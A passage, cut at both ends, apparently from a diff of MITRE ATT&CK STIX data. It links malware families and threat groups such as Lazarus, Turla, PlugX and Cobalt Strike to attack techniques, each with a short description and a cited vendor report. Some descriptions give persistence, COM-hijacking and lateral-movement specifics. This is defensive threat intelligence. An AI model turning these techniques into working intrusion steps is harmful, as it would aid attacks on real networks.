"2019-01-29T21:47:53.759Z", + "id": "relationship--7ec1ddbb-57d1-4530-97d1-dd5d02cd3eb2", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.939Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "source_name": "Talos Micropsia June 2017", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) creates a .LNK file for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:42:09.461Z", + "id": "relationship--e394c235-8567-4198-9559-fb3952672fe0", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[APT18](https://attack.mitre.org/groups/G0026) can upload a file to the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.889Z", + "id": "relationship--882c68e3-5f01-4438-a430-ff22692d8910", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.845Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to perform a process listing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.725Z", + "id": "relationship--4d36c850-0cd8-4e2a-9999-19f61eb37922", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.607Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the victim\u2019s IP address.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.407Z", + "id": "relationship--2ab707bc-9e11-4b6e-858f-c1576f9fc3a0", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.183Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that ensures its process is always running, else spawns a new instance.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.425Z", + "id": "relationship--ed51de86-8e28-4436-a663-94b66f22a7df", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.928Z", + "id": "relationship--cc78f0a1-7f4f-491e-a636-910f09d0c5a1", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.771Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "source_name": "Symantec MuddyWater Dec 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails with malicious RAR attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.298Z", + "id": "relationship--3cce0cb1-051f-48da-8712-e9d2eba871a0", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.211Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.447Z", + "id": "relationship--a95a7989-ffe1-4aac-8831-5d4db61c2f8b", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.960Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can gather system information from the victim\u2019s machine such as the OS version, machine name, and drive information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.096Z", + "id": "relationship--f9bf12c3-7512-47fe-86d7-cc89662abad4", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used FTP and HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.737Z", + "id": "relationship--ebd87b4c-eca9-4680-9608-a49ec74b5c4b", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.387Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:36:40.957Z", + "id": "relationship--d4c9b3cb-44ca-47be-b10f-2371ef1c23df", + "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", + "modified": "2019-07-26T18:47:19.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Konni May 2017", + "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[APT32](https://attack.mitre.org/groups/G0050) used the ipconfig /all command to gather the IP address from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.601Z", + "id": "relationship--cbc1d2d8-aac7-498a-a034-f0a672977c11", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.436Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has used spearphishing emails (often sent from compromised accounts) containing malicious links.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T02:01:45.675Z", + "id": "relationship--a8e36e77-3899-4e7c-b27e-ab6ebf049066", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.280Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has beaconed to its C2 over port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c35702f8-f13f-4851-9cfc-1eea526bd6e1", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.924Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) collected and exfiltrated files from the infected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.075Z", + "id": "relationship--8e28cc53-3fd4-42ed-8516-71fd9ee57641", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--83ba5b2c-b3fd-4558-a3f8-cef4c31e02bd", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.455Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5d26097f-2d6a-4642-857b-109c0f600a73", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.149Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a83e6a0f-fc31-472f-bffd-135dfc5ce683", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.764Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList {42aedc87-2188-41fd-b9a3-0c966feabec1} or Microsoft WBEM New Event Subsystem {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} depending on the system's CPU architecture.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8793b289-4b74-4119-8561-a9ad27dacdff", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.494Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used VPNs and Outlook Web Access (OWA) to maintain access to victim networks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ee9d56a1-ec92-459c-bd3e-7fc9f52f628d", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.629Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) contains a cleanup module that removes traces of itself from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1d54c1d7-529f-4e4f-9a38-55b1b8cbff66", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects a running process list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9abd0448-a3b7-4262-8753-fe81dc91c434", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", + "source_name": "FireEye Respond Webinar July 2017", + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html" + }, + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "[Turla](https://attack.mitre.org/groups/G0010) used net use commands to connect to lateral systems within a network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) adds itself to the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence upon reboot.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7d1d4ffd-7c60-4a83-bcfa-66413bbe7212", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--c1fd6ce6-26e7-49a7-abff-a64fd0fc8a35", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.467Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "During the [T9000](https://attack.mitre.org/software/S0098) installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness 